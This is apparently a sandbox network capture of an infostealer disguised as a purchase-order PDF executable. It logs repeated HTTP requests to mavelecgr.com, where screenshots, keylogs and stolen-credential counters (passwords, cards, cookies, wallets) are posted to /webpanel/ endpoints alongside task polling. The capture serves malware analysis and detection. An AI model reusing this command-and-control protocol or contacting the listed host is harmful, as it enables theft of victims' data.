Feb 21, 2023 07:07:53.577739954 CET	1960	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 33 65 31 32 31 32 39 64 31 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db13e12129d10cContent-Disposition: form-data; name="file"; filename="2023-02-21-07-55-39-screenshot.png"Content-Type: application/octet-stream
Feb 21, 2023 07:07:53.577898026 CET	1968	OUT	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 Data Ascii: PNGIHDRCsRGBgAMAapHYsodIDATx^l^y^?RlHYUefXZHjUYU?!J"Jh^jc[D~~v3b{#\|sE~Q>;0a?3]p
Feb 21, 2023 07:07:53.578036070 CET	1972	OUT	Data Raw: ff 78 10 fb 39 dc 3f 9b c7 b7 ec db 12 0a 80 84 10 42 08 21 84 10 f2 66 f2 f8 d9 73 f9 ea af f9 ab f7 5a 04 fc 1b 5f ff 0d 9a 6f f4 4e bb 6c fa c3 f3 c1 38 b7 e5 bb fe c1 f7 ac fa fa df f7 4f 7f 70 f9 ea dd 09 b7 75 d5 dc 44 bb db f7 16 f4 2c 07 Data Ascii: x9?B!fsZ_oNl8OpuD,i ?S/"6mTz\|-rKM}%w`w}"[;~~nnOmoK:n4>iO'+
Feb 21, 2023 07:07:53.621438026 CET	1974	OUT	Data Raw: 8a 05 4e c1 63 2d f6 7a 64 1d 91 8e 70 ea 67 be c3 e9 14 bb 9d ed c5 b2 97 eb f8 6a 74 7f a2 1d e1 c5 bf fd fb b6 d9 b9 8d 2e e3 76 d6 d7 8f c3 d7 31 b6 4e ee 66 31 25 b2 8c af f3 bd 65 ff a2 9d 68 4b b0 8e b5 fd da d5 e1 d7 69 df 1a d9 9f e5 fa Data Ascii: Nc-zdpgjt.v1Nf1%ehKibbkv}9w6,xy25ku_+l3mc]w=me6=yZ{9gxk};e6im^cLk\|zV6`y=`z=Nt]m\
Feb 21, 2023 07:07:53.621438980 CET	1982	OUT	Data Raw: 10 00 00 00 00 00 00 88 31 0a 80 00 00 00 00 00 00 40 8c 51 00 04 00 00 00 00 00 00 62 8c 02 20 00 00 00 00 00 00 10 63 14 00 01 00 00 00 00 00 80 18 a3 00 08 00 00 00 00 00 00 c4 18 05 40 00 00 00 00 00 00 20 c6 28 00 02 00 00 00 00 00 00 31 46 Data Ascii: 1@Qb c@ (1F1@Qb c@ (1F1@Qb c@ (
Feb 21, 2023 07:07:53.621541977 CET	1987	OUT	Data Raw: 4b 76 8b fe f9 76 ec 5a b2 db 79 87 17 b4 d3 5a 82 02 60 51 12 c7 19 29 e4 f4 7a 4d e8 7b 5b f7 2f 2c 2e 9e cd b4 4d f4 b3 cb ce b3 fd 7b 36 d6 fd 19 6b 1b ce 26 7a bd 76 16 ef 0f 7d 0f 8e 6d bf f5 9a ea 85 c5 3b fb b7 2e db 8f 16 6e 83 f3 1d b9 Data Ascii: KvvZyZ`Q)zM{[/,.M{6k&zv}m;.nsc1#};vMlgjx^<;Wy({vzPA;LQu\|VW_j2+e,NNdHx2eF3LeTqo/*YI
Feb 21, 2023 07:07:53.621541977 CET	1991	OUT	Data Raw: d1 95 8b 6e 78 b9 57 ca 7e b6 82 5c b7 2b d3 7c 5e 86 3a 7f 50 00 0c 0b 7f 16 2b 06 da c8 bf 4a 55 26 ba 7e db b7 f1 64 1c 14 1e c7 fa f3 64 30 90 61 b9 2c 1d 9d af f5 e2 85 b4 9e 3f 0f fe db d6 7f db 28 c0 61 b3 19 3c 0c 22 d8 47 1b 71 a8 9d 44 Data Ascii: nxW~\+\|^:P+JU&~dd0a,?(a<"GqDsH!a Wntul_dR$=@'rV.N[+l6{Rz/^yo<:~eI=(+Pl]x6$:>9
Feb 21, 2023 07:07:53.621601105 CET	1996	OUT	Data Raw: 74 58 41 da ce fa a6 56 bc 58 ad 6f 28 b5 54 5a f2 d9 aa f4 87 e3 e0 96 d5 93 44 31 18 51 75 74 64 0f 41 59 16 3a ac 48 b0 5f 5a 14 00 8f 2b 8b ed d8 f7 1c ea 31 27 f5 d8 ad 30 76 5e 00 5c b4 d1 e6 77 b6 f5 a5 72 7c 2a 85 42 43 86 23 db 56 59 0e Data Ascii: tXAVXo(TZD1QutdAY:H_Z+1'0v^\wr\|BC#VY:7N'EmR06`KnA$6$}Tr@M=.Ssz\|B[Lo\ck']_pz>l$cncs;#T%{r$/l>9Ilk6j-[5
Feb 21, 2023 07:07:53.665086985 CET	2006	OUT	Data Raw: a0 3d dd 37 7c c2 6f 47 d7 d7 3b 3c 94 71 bd 2e 73 5d d6 6e fd 9d e9 7a 06 c9 a4 f4 74 79 1b f5 37 b4 58 11 50 d7 d5 7d f9 32 d8 17 7b 58 48 77 f9 fd 7f 76 9b a9 1d a3 ef 38 7c b1 a2 53 b7 b0 27 47 65 5d 47 39 25 a7 b5 ae f4 9b 25 49 a6 1b 8b ef Data Ascii: =7\|oG;<q.s]nzty7XP}2{XHwv8\|S'Ge]G9%%IQ)I55Imw.%iJrj7;i9?c=^+n8H6`/\|C8VZ<C'/{#= i2XLTI<H/4[uGG%[N^S={
Feb 21, 2023 07:07:53.665198088 CET	2017	OUT	Data Raw: c6 bc e6 98 7d 68 73 20 84 d0 df 00 91 00 04 00 80 c3 06 09 40 00 00 38 50 f2 a6 27 6f 86 bc 41 22 01 78 1e 7a b8 09 c0 6a dc fa fa 66 fd 0b 9b 24 00 11 42 e8 e1 8b 04 20 00 00 1c 36 48 00 02 00 c0 81 92 37 3d 79 33 e4 0d 12 09 c0 7d a4 73 b2 3a Data Ascii: }hs @8P'oA"xzjf$B 6H7=y3}s:C]'6bu~8zvE\|lxGO_6124K[qzc6Wzcz3]q B!p J7H$uZLv)gcmu)X^Y6+19
Feb 21, 2023 07:07:53.754142046 CET	2048	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:07:53 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:07:53.803248882 CET	2048	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e138d2141f Host: mavelecgr.com Content-Length: 265 Expect: 100-continue
Feb 21, 2023 07:07:53.846824884 CET	2048	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:07:54.032310963 CET	2049	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:07:54 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:07:54.258621931 CET	2049	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:54.304831982 CET	2049	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:54 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:07:54.313889027 CET	2050	OUT	POST /webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e140cac92e Host: mavelecgr.com Content-Length: 46911 Expect: 100-continue
Feb 21, 2023 07:07:54.357186079 CET	2050	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:07:54.446023941 CET	2097	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:54 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49745	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:59.634397030 CET	2098	OUT	GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:59.680694103 CET	2098	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:59 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49746	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:08:03.155842066 CET	3017	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:03.201831102 CET	3017	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:03 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:03.588960886 CET	3017	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:03.634856939 CET	3017	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:03 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:04.816407919 CET	4270	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e285d7768d Host: mavelecgr.com Content-Length: 76469 Expect: 100-continue
Feb 21, 2023 07:08:04.859899998 CET	4270	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:04.860443115 CET	4270	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 33 65 32 38 35 64 37 37 36 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db13e285d7768dContent-Disposition: form-data; name="file"; filename="2023-02-21-08-06-22-screenshot.png"Content-Type: application/octet-stream
Feb 21, 2023 07:08:04.860718012 CET	4278	OUT	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 Data Ascii: PNGIHDRCsRGBgAMAapHYsodIDATx^y\eA! ::\|G[@*Q]$1 a@H JgB$l!,~~ssuj:\|<TNUuyw\|Ty`!wa`CMM>
Feb 21, 2023 07:08:04.860955000 CET	4282	OUT	Data Raw: 2b 7a 0c ac c7 c2 c8 a6 17 37 6e 90 15 5f ff 9a 2c 3a f6 28 59 75 e6 b7 e5 91 3f ff 51 9e bc 6f ac bc b8 6e 9d bc f2 d4 53 99 8c 3e b6 9d 63 ef 35 8f 55 1f f3 a2 63 8e 8c f6 c1 69 f2 62 f4 bb 4b 6f 50 00 66 c0 2b af be 2a bb 29 fe ba f3 dc ee f0 Data Ascii: +z7n_,:(Yu?QonS>c5UcibKoPf+*)pB!$i-BPR(@XH/^-8Tv-\,]lq./y.0B!&\VSo(IcW_Fx7kOme#m43
Feb 21, 2023 07:08:04.903884888 CET	4286	OUT	Data Raw: 1a 3d 40 74 87 eb 7d ef 00 d6 2d 4d 12 31 f3 a5 1c 14 9b ed 2e 4c 97 18 57 d5 b6 f9 cb f4 0f ae bb 0f 62 4b e7 0d 97 19 a5 07 be 29 a5 47 60 fb 52 0f d6 dd ed 2c ee 37 2f de c1 b7 3f ac b8 6f 43 cb f7 9f fb 94 ed 70 1f 5b f0 79 f6 1e 93 4e e3 97 Data Ascii: =@t}-M1.LWbK)G`R,7/?oCp[yNcKqmay+u\Pc:qCw2m$GuIkn)~,,3u;KQ1{,qR_yCrYu"$1m>NL'qx(
Feb 21, 2023 07:08:04.903884888 CET	4289	OUT	Data Raw: 0e b7 cb d4 7f ed 99 8e fe 32 48 7d 43 01 08 00 c8 23 0a 40 00 00 80 9c 68 95 02 d0 96 63 7a 76 de 9f fe f4 27 b9 ea aa ab cc 74 5a 92 d9 cb 7a dd 4b 86 f5 6c 3c 1d 66 2f f5 d5 69 dd cb 80 fd 4b 80 43 cb f1 b7 c7 bf ef 2e d3 16 75 a1 e9 34 fe f6 Data Ascii: 2H}C#@hczv'tZzKl<f/iKC.u44NreG9L !@@Q !\|@B(DP '( @NPB'@$O9AH (r
Feb 21, 2023 07:08:04.903994083 CET	4291	OUT	Data Raw: a2 00 04 00 00 c8 89 7a 16 80 67 4e 7d 41 7e 3f e4 d6 62 f9 f7 a9 db 36 c9 a7 26 8a 9c 30 41 e4 c8 73 6b 2f 00 9b b5 68 a3 00 cc 5e 28 00 01 00 79 44 01 08 00 00 90 13 f5 2a 00 cf 9b f3 bc cc 5e b8 58 26 4e 9c 24 df fc c9 b9 f2 c9 5b 37 99 e2 ef Data Ascii: zgN}A~?b6&0Ask/h^(yD*^X&N$[7\|<u(_,X/KuSO5V^mk_tEqz~zG'@@QD\|uWwC=$x\|qr\|\sQEU.iQujx
Feb 21, 2023 07:08:04.903995037 CET	4296	OUT	Data Raw: 00 00 00 00 32 8c 02 10 00 00 00 00 00 00 c8 30 0a 40 00 00 00 00 00 00 20 c3 28 00 01 00 00 00 00 00 80 0c a3 00 04 00 00 00 00 00 00 32 8c 02 10 00 00 00 00 00 00 c8 30 0a 40 00 00 00 00 00 00 20 c3 28 00 01 00 00 00 00 00 80 0c a3 00 04 00 00 Data Ascii: 20@ (20@ (20@ (20@ (20@ (20@ (
Feb 21, 2023 07:08:04.903995037 CET	4299	OUT	Data Raw: 2c 52 0b 8c 76 33 de 9f 36 2e 5f 4a 2e 81 8d 97 a1 ff 26 1e 67 b4 7e 7f 7f 95 db d6 72 fb d6 de 0f 0d 2b de 4f d9 cf b6 34 32 c3 0b 8f d3 4e 53 48 ca b6 54 fd f8 ed 70 6f fd d1 eb c5 6c 97 bb bd 89 6d f7 97 63 c7 05 b6 a7 38 4f 1c 3b 6d 62 79 ee Data Ascii: ,Rv36._J.&g~r+O42NSHTpolmc8O;mby2iMm\cH}m'S>e5NSv^ry_%fXt;Z_Gq YPDM2\|<zlzy?S/!CyG7\|KN:
Feb 21, 2023 07:08:04.904201031 CET	4304	OUT	Data Raw: 90 a5 3f f8 a1 2c 3e f1 44 59 7a cc b1 b2 e4 98 63 a4 eb 98 a3 cd 97 7a 2c 38 ea 28 99 77 f8 e1 d2 79 70 bb cc 39 ec 30 59 74 ca 29 b2 ee 4f 7f 92 1d d1 41 d8 b3 d1 7a 9f de bd 5b 76 ec dc 29 8f 45 eb de b2 6d 9b 6c da b0 41 d6 ad 5a 65 ca 3f bd Data Ascii: ?,>DYzcz,8(wyp90Yt)OAz[v)EmlAZe?eiO7Mo}2B8Zj$x&wy6c?@NpmM20{{0ju7tHO[Wi2>Hn+;Jd>gX]Z\$
Feb 21, 2023 07:08:04.944042921 CET	4307	OUT	Data Raw: 15 d1 72 56 0f 18 20 cb df fa 56 53 08 de f1 fe f7 cb 8a ab ae 92 f5 73 e7 ca a4 89 13 e5 9e 7b ee 91 19 33 66 04 b7 bf da e8 65 85 b6 c8 31 e9 72 bf 88 a0 bb 68 30 a5 46 7c 59 e2 a0 41 a1 02 50 e7 8d 0b 0a 3b 9d 16 22 a1 22 a3 dc 74 f1 b2 8a 25 Data Ascii: rV VSs{3fe1rh0F\|YAP;""t%]Sy%0mp;0%9s,Pn8xF1_D/8]^vK[_nKoc~\|fZb:]@td$[ <m4NYNc+z=-]wk5L@@
Feb 21, 2023 07:08:05.033052921 CET	4348	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:05 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:05.079878092 CET	4349	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e285ff1cd0 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:08:05.123135090 CET	4349	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:05.277180910 CET	4349	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:05 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:05.383861065 CET	4350	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:05.429577112 CET	4350	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:05 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:06.282783031 CET	4350	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e286b6b205 Host: mavelecgr.com Content-Length: 72383 Expect: 100-continue
Feb 21, 2023 07:08:06.326034069 CET	4350	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:06.416985989 CET	4424	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:06 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:06.572300911 CET	4424	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e286e27823 Host: mavelecgr.com Content-Length: 265 Expect: 100-continue
Feb 21, 2023 07:08:06.615385056 CET	4424	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:06.745486975 CET	4425	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:06 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:06.883419991 CET	4425	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:06.928774118 CET	4425	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:06 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:06.968871117 CET	4425	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e290035f80 Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:07.012022018 CET	4426	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:07.141017914 CET	5972	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:07 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:07.256143093 CET	5972	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:07.301448107 CET	5973	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:07.413104057 CET	5973	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:07.459577084 CET	5973	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:07.568662882 CET	5973	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:07.614490986 CET	5974	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:07.725816011 CET	5974	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:07.771028996 CET	5974	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:07.883613110 CET	5974	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:07.928862095 CET	5974	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:08.068734884 CET	5975	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:08.114280939 CET	5975	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:08 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:08.246417046 CET	8408	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:08.292315006 CET	9300	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:08 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:08.429405928 CET	9300	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:08.474931955 CET	9301	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:08 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:08.585906029 CET	9301	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:08.631180048 CET	9301	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:08 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:08.742729902 CET	9301	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:08.787957907 CET	9301	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:08 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:10.267582893 CET	9302	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e333edc8dd Host: mavelecgr.com Content-Length: 51272 Expect: 100-continue
Feb 21, 2023 07:08:10.310925007 CET	9302	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:10.400422096 CET	9354	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:10 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:10.432049990 CET	9354	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e33adbddcd Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:08:10.475285053 CET	9354	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:10.634673119 CET	9355	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:10 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:10.748099089 CET	9355	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:10.793520927 CET	9355	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:10 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:10.829165936 CET	9355	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e355cfbccc Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:10.872688055 CET	9355	IN	HTTP/1.1 100 Continue
